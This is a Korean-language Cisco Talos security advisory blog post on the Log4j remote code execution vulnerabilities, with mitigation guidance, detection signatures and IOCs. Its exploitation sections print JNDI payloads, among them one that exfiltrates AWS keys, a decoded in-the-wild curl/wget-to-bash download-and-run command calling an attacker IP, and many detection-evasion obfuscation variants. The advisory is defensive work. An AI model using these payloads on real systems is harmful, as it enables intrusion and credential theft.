시스코 코리아 블로그

위협 경보: 현재 치명적인 Apache Log4j 취약성 익스플로잇 발생

2 min read



업데이트 기록

날짜

업데이트 설명

2021년 12월 20일 커버리지 및 ICO를 추가했습니다. Cisco Global Threat Alerts를 통한 고객용 탐지 기능을 추가했습니다.
2021년 12월 18일 위협 완화 지침을 추가했습니다. 커버리지 정보를 업데이트했습니다.
2021년 12월 17일 취약성 및 위협 완화 정보, 개발자용 지침 섹션, 타임라인을 추가했습니다.
2021년 12월 16일 취약성 및 위협 완화 정보, 이벤트 타임라인, 관련 경고 정보를 추가했습니다.
2021년 12월 15일 익스플로잇 활동에 대한 관측을 추가하고, 커버리지 정보를 업데이트했습니다. IOC를 추가했습니다.
2021년 12월 14일 새로운 CVE 정보를 추가하고, 커버리지 정보를 업데이트했습니다. 위협 완화 지침, 위협 벡터, IOC를 추가했습니다.
2021년 12월 13일 추가적 취약성 정보를 추가하고, 커버리지 정보를 업데이트했습니다. 추가적인 공격 벡터와 새로운 난수화가 확인되었고, IOC를 추가했습니다.
2021년 12월 12일 추가적 취약성 정보와 가장 먼저 관찰된 활동에 대한 정보를 추가했습니다. 위협 완화 권장 사항과 IOC를 추가했습니다.
2021년 12월 11일 관찰된 익스플로잇 활동에 대한 정보를 추가하고, 커버리지 정보를 업데이트했습니다. IOC를 추가했습니다.
2021년 12월 10일 추가적 취약성 정보를 추가하고, 커버리지 정보를 업데이트했습니다. IOC를 추가했습니다.
2021년 12월 10일 최초 발행 날짜입니다.

 

2021년 12월 21일 업데이트

Cisco Talos에서 Snort SID에 대한 업데이트를 릴리스합니다. 58722-58744, 58751, 58784-58790, 58795, 58801, 58811-58814 to address CVE-2021-44228/CVE-2021-45046/CVE-2021-45105, an RCE vulnerability in the Apache Log4j API.

Cisco Talos는 ClamAV 서명에 대한 업데이트도 릴리스했습니다. Java.Malware.CVE_2021_44228-9915816-1 및 새로운 서명: 해당 취약성을 익스플로잇하는 위협에 대한 PUA.Java.Tool.CVE_2021_44228-9916978-0. 보호 및 서명에 대한 종합적 목록은 “커버리지” 섹션을 참조하세요.

 

요약

많은 사람이 사용하는 Apache Foundation Log4j 라이브러리에서 발견된 치명적인 원격 코드 실행 취약성이 각 조직에서 널리 확산된 이 문제를 해결하기 위한 패치를 개발하고 있지만, 인터넷 상에서는 여전히 익스플로잇되고 있습니다. 공격자가 이를 익스플로잇할 경우, 해당 서버의 통제권을 완전히 빼앗을 수 있습니다. 인증되지 않은 원격 공격자가 기본 구성에서 이 취약성을 악용하여 Log4j 라이브러리를 사용하는 애플리케이션을 노릴 수 있습니다. CVE-2021-44228로 추적되는 이 취약성은 CVSS 심각도 점수가 최고점인 10.0점으로 부여되었고, 쉽게 익스플로잇할 수 있는 것으로 알려졌습니다.

Apache Foundation Log4j는 기본 log4j 패키지를 대체하는 로깅 라이브러리입니다. Apache Struts 2, Apache Solr 등, 흔히 사용하는 Java 프로젝트에서 사용되는 경우가 많습니다.

마찬가지로, 이 라이브러리는 기업 환경에서 사용하는 Elastic을 비롯한 여러 가지 웹 애플리케이션에서 종속성으로 사용할 수 있습니다. Cisco Talos는 취약성의 이러한 성격으로 인해 향후 공격자들이 이를 광범위하게 익스플로잇할 것으로 예상하며, 사용자 여러분께서는 최대한 이른 시일 내에 해당 제품을 패치하고 완화 솔루션을 구현해야 합니다.

현재 Cisco Talos Incident Response(CTIR)는 기존 log4j 취약성과 관련된 공격자 활동에 대해 의뢰 고객을 지원하고 있습니다. 각 조직에서는 이러한 인시던트에 대응하는 능력을 테스트하는 인시던트 대응 계획, 플레이북 또는 모의 훈련(TTX)을 업데이트하시는 것이 좋습니다.

이러한 취약성이 시스코 제품에 미치는 영향과 관련된 정보는 여기에서 확인하세요.

시스코의 글로벌 대응에 대한 자세한 정보는 여기를 참조하세요.

취약성에 대한 자세한 정보를 확인하려면 여기를 클릭하세요.

최신 완화 지침은 여기를 클릭하여 확인하세요.

지속적 익스플로잇 활동에 대한 정보는 여기를 클릭하여 확인하세요.

최신 커버리지 정보는 여기를 클릭하여 확인하세요.

업데이트된 위협 침해 지표는 여기를 클릭하여 확인하세요.

 

타임라인

취약성 정보

이 취약성은 LDAP 커넥터의 JNDI 구성 요소에 있어서 공격자가 원격 서버에서 페이로드를 가져와 로컬에서 실행할 수 있습니다. 여러 가지 개념 증명(PoC)과 취약성 세부 정보가 이미 공개되어 있습니다. 이 취약성을 트리거하면 악성 클래스 파일을 가져와 실행할 수 있습니다. Java Naming and Directory Interface(JNDI) 구현에 존재하며, 아래의 예시와 같은 LDAP 요청을 사용하여 트리거할 수 있습니다.

${jndi:ldap://attacker_controled_website/payload_to_be_executed}

CISA는 CVE-2021-44228에 대한 지침도 릴리스했습니다. 또한, CISA는 log4j와 관련된 긴급 지침도 발행했습니다.

CVE-2021-44228에 대한 Kenna 위험 점수는 100점 만점에 93점이었고, 이 취약성의 심각도와 잠재적 피해를 고려하여 예외적으로 높은 점수가 부여되었습니다. 이 점수는 지속해서 재평가되고 있으며 시간이 지나면서 변경될 수 있습니다. 예를 들어, 2021년 12월 17일에는 87점이었습니다. 이 점수 평가에는 여러 가지 요소가 반영되며, 동향 변화, 행위자의 행동이나 취약성과 관련된 새로운 발견이 점수에 영향을 미칩니다.

현재 Kenna에서 평가하는 CVE 165,000개 중에서 93점 이상을 받은 것은 0.39%에 불과합니다.

POC는 여기에서 확인할 수 있습니다.

 

정보 유출

CVE-2021-44228을 악용하는 공격자는 취약한 호스트에서 페이로드를 가져와 실행할 수 있는 LDAP 요청을 만들 수 있습니다. 또한, 정보도 유출할 수 있는데 공격자는 LDAP 요청을 사용하여 취약한 호스트의 파일과 환경 변수에서 데이터를 읽고 추출할 수 있습니다. 이러한 LDAP 요청은 AWS, Hadoop, Postgres 등의 애플리케이션에 대한 민감한 정보를 유출하는 DNS 요청을 생성할 수 있습니다.

LDAP 요청을 생성하여 AWS_ACCESS_KEY_ID 및 AWS_SECRET_ACCESS_KEY 값을 유출하는 DNS 요청을 만드는 jndi 검색 형식은 다음과 같습니다.

${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.${env:AWS_SECRET_ACCESS_KEY}.<domain>}

(여러 환경 변수를 하나의 LDAP 요청으로 연결할 수 있습니다).

추가적 취약성

새로운 취약성인 CVE-2021-45046도 log4j v2.15.0에서 확인되었으며, 공격에 취약한 구성이 남아 있습니다. Log4j 버전 2.17.0은 기본적으로 JNDI 액세스를 차단하고 기본 프로토콜을 Java, LDAP, LDAPS로 제한하여 취약성을 해결합니다. 자세한 정보는 “위협 완화” 섹션을 참조하세요. 이 취약성은 원격 코드 실행(RCE)에 악용될 수 있어, 얼마 전 이 취약성의 심각도가 높아졌습니다. 모든 사용자께서는 2.17.0으로 패치하시는 것이 좋습니다.

최근 들어서는 CVE-2021-4104가 기본값이 아닌 특정 구성에서 확인된 것으로 알려졌고 유사한 취약성을 Log4j v1.2에서 트리거할 수 있습니다. 해당 사용자께서는 log4j 2.17.0으로 업그레이드하여 이 취약성을 완화하시는 것이 좋습니다. 자세한 정보는 “위협 완화” 섹션을 참조하세요.

서비스 거부 취약성, CVE-2021-45105는 2021년 12월 16일에 공개되었습니다. 로깅 구성에서 Context Lookup(예: $${ctx:loginId})을 포함한 기본이 아닌 패턴 레이아웃을 사용할 경우, Thread Context Map(MDC) 입력 데이터를 제어하는 공격자가 재귀 검색을 포함하는 악성 입력 데이터를 만들어 StackOverflowError로 프로세스를 종료시킬 수 있습니다. 해당 사용자께서는 log4j 2.17.0으로 업그레이드하여 이 취약성을 완화하시는 것이 좋습니다.

위협 완화

최신 지침

원래 Log4j 보안 결함과 관련하여 취약성 수가 늘어나서 다소 혼란을 겪고 있지만, 사용자와 네트워크 방어 담당자에 대한 조언은 여전히 동일합니다. 대부분 사용자에게 JNDI는 감수할 필요가 없는 위험이므로, 위협 표면을 악용할 수 없도록 이 기능을 비활성화하는 것이 좋습니다. 그러므로 JNDI를 기본적으로 비활성화하는 최신 버전 Log4j 2.17.0으로 업그레이드하시는 것이 좋습니다.
Log4j 2.17.0은 Apache가 릴리스한 가장 최신 패치입니다. CVE-2021-44228, CVE-2021-45046 및 CVE-2021-45105를 수정합니다.

  • 기본적으로 JNDI를 비활성화하고, 기본 프로토콜을 Java, LDAP, LDAPS로 제한합니다.
  • enableJndi 시스템 속성을 true로 설정해야 JNDI가 허용됩니다.
  • Message Lookups에 대한 지원을 완전히 제거했습니다.

Talos에서는 모든 고객에게 내부 및 타사에서 사용하는 Log4j에서 취약한 구성이 있는지 조사하고, 복구 업데이트 조치를 하시기를 권합니다. 자사 구현이 취약한지 확신하기 어렵거나 확인할 수 없다면, 패치부터 적용하세요. Log4j를 포함한 타사 어플라이언스에서 위험이 발생할 수 있으므로, 고객과 파트너 여러분께서는 정기적인 취약성 스캔을 시행하고 공급업체, 파트너, 공급자와 추가적인 위협 완화 지원에 대해 논의하시는 것이 좋습니다.

Java 7을 실행하는 사용자를 위해, Apache가 log4j 2.12.2를 릴리스했습니다. 이 업데이트에는 log4j 2.16.0과 동일한 위협 완화 조치가 포함되어 있으며 CVE-2021-44228 및 CVE-2021-45046을 해결합니다. Java 7을 실행하는 분께서는 이 버전으로 업그레이드하는 것이 좋습니다.

초기 패치로는 위협을 완화하기에 역부족

Apache는 2.16.0에 앞서 Log4j 버전 2.15.0을 공개했습니다. 이 버전은 완벽한 보안이 불가능하며 특정 구성에서의 익스플로잇에 취약한 것으로 드러났습니다. 그 이후에 불완전한 수정 사항을 반영하여 CVE-2021-45046이 공개되었습니다.

원래의 패치가 익스플로잇을 완전히 차단하지 못한다는 것을 발견하였기 때문에 메시지 검색 비활성화와 관련된 아래의 지침을 비롯해서 앞서 말씀드린 일부 권장 위협 완화 대책에 미비한 점이 생겼습니다.

  • 10 버전 이상에서 시스템 속성 log4j2.formatMsgNoLookups나 환경 변수 LOG4J_FORMAT_MSG_NO_LOOKUPS를 true로 설정하세요.
  • 7부터 2.14.1 릴리스까지 %m{nolookups}, %msg{nolookups} 또는 %message{nolookups}를 포함한 메시지 검색을 비활성화하도록 로깅 구성을 수정하세요.

사용자가 이러한 변경 사항을 적용했더라도 Log4j에는 메시지 검색이 가능한 코드 경로가 남아 있습니다. 예를 들어, Logger.printf(“%s”, userInput)를 사용하는 애플리케이션이나 사용자 정의 메시지 팩터리를 사용하는 애플리케이션은 생성된 메시지에서 StringBuilderFormattable을 구현하지 않습니다. 다른 공격 벡터도 있을 수 있습니다.

세 번째 취약성 발표, Talos 지침은 그대로 유지

12월 14일에 Log4j, JMSAppender의 다른 구성 요소에서 발견된 결함과 관련하여 추가적인 취약성 CVE-2021-4104가 발표되었습니다. 이 문제는 JMSAppender를 사용하도록 구성된 Log4j 1.2에만 영향을 미칩니다. 이는 기본값이 아니기 때문에 다소 걱정을 덜 가능성도 있습니다. 현재 Log4j 1.2는 2015년 8월에 지원이 중단되었고 더 이상 업데이트되지 않습니다. 앞서 말씀드린 지침과 마찬가지로, 해당 사용자께서는 Log4j 2.16.0으로 업그레이드하여 이 취약성을 완화하시기 바랍니다.

AppDynamics with Cisco Secure Application은 AppDynamics Java APM 에이전트와 통합되어, 다음과 같은 방법으로 환경을 보호합니다.

  • 런타임 중에 코드에서 사용하는 라이브러리를 찾습니다.
  • 런타임 동작을 모니터링하여 해당 라이브러리의 취약성과 공격을 탐지합니다.
  • 구성 가능한 정책으로 시스템을 보호하여 런타임에서 익스플로잇 동작을 차단합니다.

AppDynamics with Cisco Secure Application으로 환경을 보호하기 위한 추가적인 절차는 여기에서 확인할 수 있습니다.

빠른 로그 검사를 위한 YARA 규칙은 여기를 참조하세요.

AppDynamics with Cisco Secure Application으로 환경을 보호하기 위한 추가적인 절차는 여기에서 확인할 수 있습니다.

빠른 로그 검사를 위한 YARA 규칙은 여기를 참조하세요.

시스코는 CVE-2021-44228에 대한 익스플로잇 시도를 탐지하는 데 도움이 되는 추가 리소스를 공개했습니다. 자세한 내용은 여기를 참조하세요.

개발자 지침

Cisco Talos가 Log4j 프레임워크를 사용하는 애플리케이션을 평가하는 과정에서 발견한 내용을 개발자 여러분께 지침으로 드리자면, 기본 복구 업데이트 조치인 2.17.0 버전으로 업그레이드하는 것이 좋습니다. 특정 위험 코드 섹션을 각각 평가하고 복구 업데이트할 수도 있지만, Cisco Talos의 경험상 애플리케이션이 영향을 받을 수 있는 범위를 과소평가하게 되는 불필요한 위험을 감수하게 됩니다. 패치를 하는 것이 더욱 안전합니다. 애플리케이션에 미치는 영향을 정확히 평가하는 데 필요한 일부 고려 사항은 심층적 보안 지식이 있는 개발자 정도만이 쉽게 알아볼 수 있습니다.

이런 활동을 복잡하게 할 만한 요소는 여러 가지가 있습니다.

알려진 벡터

어느 일반적인 특정 위치만 애플리케이션이 취약해지는 것이 아닙니다. 애플리케이션에서 Log4j를 통해 사용자가 제어하는 데이터를 로깅하는 곳은 어디나 관련 벡터로 평가됩니다. 사용자 제어 URI, 수신되는 사용자 에이전트, POST 매개변수, 사용자 권한 파일 등을 로깅하는 곳이면 어디서나 나타날 수 있습니다. 대부분의 경우, 사용자가 영향을 미치는 값을 입력하고 Log4j 프레임워크에서 이를 사용하는 과정에서 여러 층의 우회로가 있어 특정 경로의 위험을 평가하는 작업이 더욱 복잡해집니다.
게다가 정보가 추가되면서, 안전한 코드와 위험한 코드와 관련하여 세웠던 가정을 무너뜨리는 추가적 벡터가 발견될 수도 있습니다. 이는 CVE-2021-45046 및 CVE-2021-4104의 발견으로도 확인되었습니다.

정규화

공격자가 이 취약성을 트리거하기 위한 익스플로잇을 만들어 내는 데 사용할 수 있는 허용 가능한 애플리케이션별 인코딩, 기능, 형식의 범위로 인해, 사용자가 제공한 데이터 중 문제가 되는 순열을 찾아내 위생 처리하는 작업은 짜깁기나 마찬가지가 되고 아무리 잘해도 불완전하기 마련입니다. 매일 새로운 잠재적 우회가 발견되고, 애플리케이션의 우회는 전문적인 보안 지식이 없다면 완전히 기록하기도 어렵습니다.

타사 종속성

개발자는 애플리케이션에서 Log4j를 직접 사용하더라도 취약성이 없다고 판단할 수 있지만, 프레임워크를 사용하는 타사 라이브러리가 위험할 수 있습니다. 예를 들어 Apache Tika는 특수하게 조작된 HWP 파일을 이용하여 이 취약성을 트리거하는 잠재적 벡터가 있으므로 이 툴킷을 사용하여 파일에서 메타데이터를 추출하는 애플리케이션도 취약할 수 있습니다.
현재 CISA는 해당 제품의 공개 목록을 여기에 공개하고 있습니다.

취약한 애플리케이션 식별

CVE-2021-44228
CVE-2021-45046

Log4j 버전 2.17.0 이하를 사용하여 사용자가 제공한 콘텐츠를 로깅하는 애플리케이션을 개발하는 개발자 여러분께서는 즉시 2.17.0 버전으로 업그레이드하시기 바랍니다. 또한, Log4j를 사용하는 모든 타사 종속성을 평가하고 적절히 업그레이드하는 것이 좋습니다.

CVE-2021-4104

JMSAppender를 통해 Log4j 버전 1.2에 영향을 미치는 취약성에 대한 추가 벡터가 있습니다. 이 벡터는 JMSAppender를 활성화하고 공격자가 TopicBindingName 및 TopicConnectionFactoryBindingName에 대한 구성을 제공해야 합니다.

Apache Log4j 버전 1.2는 2015년 8월에 지원이 종료되었습니다. 지원이 종료된 소프트웨어를 사용하는 소프트웨어나 기기를 공개하지 않는 것을 권장하며, 개발자 여러분께서는 즉시 2.17.0을 도입하고 업그레이드하는 작업에 착수하시기 바랍니다.

CVE-2021-45105


2.16.0을 포함하여 log4j의 여러 버전에 영향을 미치는 무한 재귀와 관련된 서비스 거부 취약성이 있습니다. 따라서 최신 버전인 2.17.0으로 업데이트하여 위험을 완화하시기 바랍니다.

익스플로잇 활동 지속

처음에 관찰된 활동

Talos는 CVE-2021-44228과 관련된 공격자 활동을 2021년 12월 2일부터 관측했지만 12월 1일에 이미 위협 활동과 관련된 미확인 신고가 들어왔습니다. 각 조직에서는 최소 몇 주 전까지 거슬러 올라가 분석을 시행하고 해당 기간 훨씬 이전에 발생한 익스플로잇 활동까지 스캔하도록 헌팅을 확장하시는 것이 좋습니다.

Log4j와 관련된 취약성의 익스플로잇이 나타난 것으로 알고 있습니다. 채굴자 활동, 금전적 이익을 취하려는 다른 공격자의 활동, 국가를 배후에 둔 행위자에 대한 신고 등이 포함됩니다. 허니팟과 원격 측정 소스에서 광범위한 활동이 발견되었습니다. 인터넷에서 발견된 익스플로잇 시도의 예시는 아래와 같습니다.

${jndi:ldap://45.155.205[.]233[:]12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC9bdmljdGltIElQXTpbdmljdGltIHBvcnRdfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0L1t2aWN0aW0gSVBdOlt2aWN0aW0gcG9ydF0pfGJhc2gK}

앞의 예시에서 Base64 인코딩 데이터가 추가적 악성 페이로드를 전달하고 실행하는 데 기여합니다. 그 예시는 아래와 같습니다.

(curl -s 45.155.205[.]233[:]5874/[victim IP]:[victim port]||wget -q -O- 45.155.205[.]233[:]5874/[victim IP]:[victim port])|bash

또한, 원격 측정에서 악성 페이로드를 검색하는 데 사용된 다른 프로토콜도 발견했습니다. 공격자는 LDAP(S), RMI, DNS, NIS, IIOP, CORBA, NDS, HTTP를 사용할 수도 있습니다.

대부분, 피해자는 익스플로잇에 당하면 암호 화폐 채굴 멀웨어에 감염되지만 Mirai 봇넷을 비롯한 여러 가지 페이로드에 감염되기도 합니다.

이러한 익스플로잇은 갑작스럽게 나타난 취약성에서 일반적으로 보이는 패턴을 따라갑니다. 원격 측정에서 이미 알려지지 않은 행위자가 곳곳에서 초기 인시던트를 일으킨 것으로 확인되었고, 코인 채굴자와 봇넷이 일찍이 이런 취약성을 악용했다는 것이 드러났습니다. 앞으로도 이 패턴이 지속될 것으로 예상하는 가운데, 향후 금전적 이익에서 산업 스파이에 이르기까지 다양한 목적을 지닌 여러 행위자가 금세 이 익스플로잇을 통해 즉시 사용하거나, 재판매하거나, 장기적인 거점으로 사용할 만한 액세스 권한을 확보할 것입니다.

또한, Cisco Talos는 공격자의 대규모 스캔과 취약한 시스템의 콜백 사이에 리드 타임을 관찰했습니다. 이는 익스플로잇이 트리거되고 있다는 표시일 수 있습니다. 표적 기업의 인프라로 침투해서 원하는 표적 시스템과 완전히 분리되었을 수도 있는 내부 시스템(예: 로그 수집 시스템, SIEM)에서 처리되기 때문입니다. 통신 경로를 따라가는 취약성 검사, 이벤트 수집 또는 로깅 시스템도 익스플로잇을 트리거할 수도 있는데, 표적에 취약성이 없는 경우에도 공격자 인프라로 콜백을 내보낼 수 있습니다. 또한, 해킹 이후의 활동에서 피해 기업 내의 횡적 이동을 노리고 내부의 취약한 시스템을 표적으로 삼을 가능성도 있습니다.

아래는 Kinsing 암호 화폐 채굴자 전송과 관련된 활동을 Cisco Secure Endpoint가 탐지한 사례입니다.

또한, Cisco Talos는 Log4j 익스플로잇 활동으로 인해 알려진 Cobalt Strike 서버와 연결된다는 점도 확인했습니다. 이는 랜섬웨어 공격이 일어날 것이라는 일반적 선행 지표입니다.

새로운 난수화

JNDI 검색에서 배포되었을 만한 패턴 기반 탐지 메커니즘을 회피하기 위해 여러 가지 난수화를 사용하는 것을 발견했습니다.

JNDI는 키워드, 프로토콜, 원격 위치 분할에서 대문자와 소문자 사용에 이르기까지 다양한 난수화 기술을 조합하여 사용할 수 있습니다. 예를 들어, 다음과 같은 기술이 있습니다.

j${k8s:k5:-ND}i${sd:k5:-:}

j${main:\k5:-Nd}i${spring:k5:-:}

j${sys:k5:-nD}${lower:i${web:k5:-:}}

j${::-nD}i${::-:}

j${EnV:K5:-nD}i:

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}attacker_controled_website/payload_to_be_executed}

j${loWer:Nd}i${uPper::}

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://attacker_controled_website/payload_to_be_executed }

${jndi:${lower:l}${lower:d}a${lower:p}://attacker_controled_website/payload_to_be_executed}

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attacker_controled_website/payload_to_be_executed}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker_controled_website/payload_to_be_executed}

${${env:TEST:-j}ndi${env:TEST:-:}${env:TEST:-l}dap${env:TEST:-:}attacker_controled_website/payload_to_be_executed}

${jndi:${lower:l}${lower:d}ap://attacker_controled_website/payload_to_be_executed}

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://attacker_controled_website/payload_to_be_executed}

${${::-j}ndi:

${${::-j}nd${::-i}:

${en${lower:v}:ENV_NAME:-j}

${lower:${upper:${lower:${upper:${lower:${upper:${lower:${upper:${lower:${upper:${lower:${upper:${lower:j}}}}}}}}}}}}}

${lower:d}${lower:n}${lower:s}://

${${::-${::-$${::-j}}}}

또한, 유니코드 “유사” 문자를 사용하여 탐지를 회피하려는 시도도 발견했습니다. 이와 유사한 아래의 예시에서는 “i” 값을 유니코드 문자 U+0131로 바꾸었습니다.

${jnd${upper:ı}:ldap:URL}

추가적 위협 벡터

Log4j는 기존 웹 서버 외에도 시스템에서 실행되는 다양한 소프트웨어에서도 사용되기 때문에 다른 익스플로잇 벡터를 배제하지 않는 것이 중요합니다. 여기에는 공격자와 피해자 시스템 사이에서 여러 가지 유형의 통신을 검사하는 기기가 포함되며, 이러한 활동은 보안 침해로 이어집니다. 위협을 방어하는 측에서 완화 조치를 하고 상황이 변화하면 적대 세력에서는 앞서 발견되지 않은 새로운 공격 벡터를 찾아 나섭니다. 이 섹션에서는 그동안 악용되었던 공격 벡터 몇 가지를 살펴보겠습니다.

Cisco Talos에서는 CVE-2021-44228을 익스플로잇하려는 이메일 기반 위협을 발견했습니다. 메시지의 경우 이메일 헤더, 제목줄, 본문 등 여러 위치에 악성 JNDI 검색을 포함할 수 있습니다.

예전에 이메일에 JNDI 공격 문자열을 넣으려는 시도를 발견하기는 했지만 이번에는 취약성을 트리거하는 데 이메일 메시지를 사용하는 광범위한 이메일 캠페인을 발견하지는 못했습니다. 대부분 위협 행위자와 조사관들이 log4j를 뚫기 위해 온갖 시도를 하고 있기 때문일 수도 있습니다.

또한, 이 취약성을 익스플로잇하기 위해 다음과 같이 여러 장소에 JNDI 검색을 넣으려는 시도도 발견했습니다.

  • JPEG, OOXML 등의 파일 유형 메타데이터
  • OOXML 문서에서 사용되는 관계 템플릿(예: “xml.rels”)
  • 웹 페이지에 포함

Open Office 기반 문서에서 사용한 관계형 템플릿에 삽입된 JNDI 검색.

또한, 공격자들은 HTML 웹페이지에 JNDI 검색을 포함하기도 했습니다. Cisco Talos가 분석에 사용했던 웹사이트는 취약성이 많은 CMS 플랫폼을 통해 침해되었을 가능성이 큽니다. 아래의 예시에서 JNDI 검색 문자열은 웹사이트에 숨겨진 양식 필드에 포함되었고, 피해자가 해당 페이지를 탐색할 때 보이지 않을 수도 있습니다. Cisco Talos는 기존 하이퍼링크에서 대상 URL을 익스플로잇을 포함한 URL로 변경하는 등, 여러 웹 페이지에 콘텐츠를 삽입하는 수법을 여러 가지 발견했습니다.

HTML 웹 페이지에 삽입된 악성 JNDI 검색.

또한, PowerShell을 호출하여 ADSISearcher로 환경 조사를 실행하고 피해자가 있는 도메인 환경 정보를 쿼리하는 악성 Java 클래스를 실행하는 공격도 발견했습니다. 여기에서 수집된 정보는 공격자가 제어하는 서버로 전송되는 HTTP 연결을 통해 유출됩니다. 이 활동은 주로 랜섬웨어 배포로 이어지는 활동과도 일치합니다.

즉, 공격자들이 온갖 수단을 동원해서 표적 환경에 존재하는 여러 가지 취약한 애플리케이션으로 악성 입력을 넣을 방법을 모색하고 있다는 것을 알 수 있습니다. 앞으로도 이 목적으로 활용되는 새로운 수법이 나타날 것입니다.

커버리지

고객 여러분께서 이 위협을 탐지하고 차단하는 방법은 아래와 같습니다.

앞서 CVE-2021-44228에 대해 공개한 커버리지는 CVE-2021-45046에도 적용됩니다.

Cisco Secure Endpoint(구 AMP for Endpoints)는 이 게시물에서 자세히 설명해 드린 멀웨어를 차단하는 데 가장 효과적입니다. Secure Endpoint를 여기에서 무료로 체험해보세요.

Cisco Secure Web Appliance 웹 스캔을 사용하면 악성 웹사이트로의 액세스를 차단하고 해당 공격에서 사용한 멀웨어를 탐지할 수 있습니다.

Cisco Secure Email(구 Cisco Email Security)는 위협 행위자가 캠페인에서 전송한 악성 이메일을 차단할 수 있습니다. Secure Email을 여기에서 무료로 체험해보세요.

Cisco Secure Malware Analytics(구 Threat Grid)는 악성 바이너리를 식별하고 모든 Cisco Secure 제품에 보호를 적용합니다.

Cisco Secure Firewall(구 Next-Generation Firewall and Firepower NGFW) 어플라이언스(예: Firepower Threat Defense(FTD), Firepower Device Manager(FDM)Threat Defense VirtualAdaptive Security Appliance)은 이 위협과 관련된 악성 활동을 탐지할 수 있습니다.

Cisco Secure Network/Cloud Analytics(Stealthwatch/Stealthwatch Cloud)는 자동으로 네트워크 트래픽을 분석하고 연결된 각각의 기기에서 발생하는 잠재적 악성 활동에 대해 사용자에게 알립니다.

Cisco Secure Analytics를 사용하여 이 위협에 대응하는 지침을 확인하려면 여기를 클릭하세요.

Meraki MX 어플라이언스는 이 위협과 관련된 악성 활동을 탐지할 수 있습니다.

SIG(보안 인터넷 게이트웨이)인 Umbrella는 회사 네트워크 안팎에서 사용자가 악성 도메인, IP, URL에 연결하지 못하도록 차단합니다. Umbrella 무료 체험은 여기에서 등록하세요.

구체적인 환경 및 위협 데이터에 대한 추가적인 보호는 Firewall Management Center에서 확인할 수 있습니다.

Open-source Snort Subscriber Rule Set 고객께서는 Snort.org에서 구매할 수 있는 최신 규칙 팩을 다운로드하여 최신 상태를 유지할 수 있습니다. CVE-2021-44228을 노리는 익스플로잇 시도를 탐지하기 위해 공개된 Snort SID는 다음과 같습니다. 58722-58744, 58784-58790, 58795, 300055-300058. Cisco Talos는 SMTP 기반 벡터를 해결하기 위한 Snort SID 58751도 공개했습니다.

ClamAV 서명도 공개되었습니다.

  • Exploit.JNDIExploitTool-9915821-0
  • Exploit.Log4jPayloadGenerator-9915809-0
  • Malware.CVE_2021_44228-9915330-1
  • Malware.CVE_2021_44228-9915812-0
  • Malware.CVE_2021_44228-9915813-0
  • Malware.CVE_2021_44228-9915814-2
  • Malware.CVE_2021_44228-9915816-0
  • Malware.CVE_2021_44228-9915818-0
  • Malware.CVE_2021_44228-9915819-0
  • Malware.CVE_2021_44228-9915820-0
  • Malware.CVE_2021_44228-9915970-1
  • File.CVE_2021_44228-9915971-3
  • File.CVE_2021_44228-9915972-1

지속적 익스플로잇 캠페인과 관련된 멀웨어 활동에 대한 추가적 ClamAV 서명은 다음과 같습니다.

  • Coinminer.Miner-6781728-2
  • Unix.Coinminer.XMRig-6683890-0
  • Unix.File.Metasploit-7646224-0
  • Unix.File.Metasploit-9753187-0
  • Unix.File.Metasploit-9810624-0
  • Coinminer.XMRig-9915822-0
  • Malware.Sustes-6779550-1
  • Trojan.XMRig-9915823-0
  • Downloader.Rocke-6826000-0
  • Exploit.Mirai-7373241-0
  • Malware.Mirai-9914842-0
  • Malware.Mirai-9914843-0
  • Malware.Setag-9753632-0
  • Malware.Tsunami-9915807-0
  • Trojan.Agent-37008
  • Trojan.Generic-9840604-0
  • Trojan.Generic-9840605-0
  • Trojan.Generic-9908886-0
  • Trojan.Mirai-9840610-0
  • Trojan.Muhstik-7555544-0
  • Coinminer.Generic-7151250-0
  • Coinminer.Generic-7151253-0
  • Coinminer.Generic-7151447-0
  • Coinminer.Generic-7151972-0
  • Coinminer.Generic-7155777-0
  • Coinminer.Generic-7158858-0
  • Trojan.Khonsari-9915806-0
  • Trojan.PowershellReverseShellOneLine-9840826-0

Cisco Secure Endpoint Cloud IOC는 다음의 새로운 탐지 정보를 포함하여 업데이트되었습니다.

  • PossibleKinsingMalware.ioc
  • PossibleTomcatLog4ShellExploit.ioc

 

Secure Firewall 및 Secure IPS를 사용하여 이 위협을 완화하는 방법에 대한 자세한 정보는 여기에서 블로그를 참조하세요.

Orbital을 사용하는 시스코 고객을 대상으로 이 취약성에 영향을 받았을 Linux Windows 시스템을 찾는 새로운 쿼리가 공개되었습니다.

Cisco Talos는 Orbital을 사용하여 취약한 버전 Log4j를 찾는 쿼리를 고객에게 제공했습니다.

현재 log4j 취약성을 익스플로잇하는 Khonsari 랜섬웨어 패밀리에 대한 쿼리도 여기에서 제공합니다.

시스코 고객은 Global Threat Alerts를 사용하여 이러한 취약성과 관련된 악성 활동을 찾고 지속적 취약성 스캔과 멀웨어 설치 시도를 탐지할 수 있습니다. 자세한 내용은 여기여기를 클릭하세요.

보안 침해 지표(IOCS)

CVE-2021-44228을 노리는 익스플로잇 활동으로 관찰된 보안 침해 지표는 다음과 같습니다.

2021년 12월 21일에 공개된 새로운 IOC는 여기에서 확인 할 수 있습니다.

2021년 12월 20일에 공개된 새로운 IOC는 여기에서 확인 할 수 있습니다.

2021년 12월 17일에 공개된 새로운 IOC는 여기에서 확인 할 수 있습니다.

2021년 12월 16일에 공개된 새로운 IOC는 여기에서 확인할 수 있습니다.

앞서 확인된 IOC는 여기에서 확인할 수 있습니다.

댓글 쓰기